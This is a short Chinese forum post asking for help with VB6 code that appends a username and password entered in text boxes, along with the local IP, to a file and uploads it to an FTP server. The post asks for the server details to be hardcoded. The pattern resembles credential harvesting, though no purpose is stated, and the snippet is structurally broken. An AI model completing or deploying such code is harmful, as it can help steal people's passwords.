回复 2楼 xiangyue0510
谢谢。
以下的代码,谁给修改,即把IP、用户名、密码均写入代码中,不要任何控件。上传文件目的地:192.169.11.3\a\b\c\e\f\g\k963.txt
本地路径:F:\wwq\\k963.txt
Private Sub Command1_Click()
Open "C:\1.txt" For Append As #1
Print #1, "用户名:"; Text1.Text, "密码:"; Text2.Text, "来自于:"; Winsock1.LocalIP, ""
Close #1
End Sub
Inet1.URL = "" ' ftp地址
Inet1.Protocol = 2
Inet1.UserName = "" '用户名
Inet1.Password = "" ' 密码
Inet1.Execute , "PUT " & "c:\1.txt" & " 1.txt"
Do While Inet1.StillExecuting
DoEvents
Loop
MsgBox "OK啦!", vbInformation, "提示"
End Sub
[此贴子已经被作者于2015-11-4 15:16编辑过]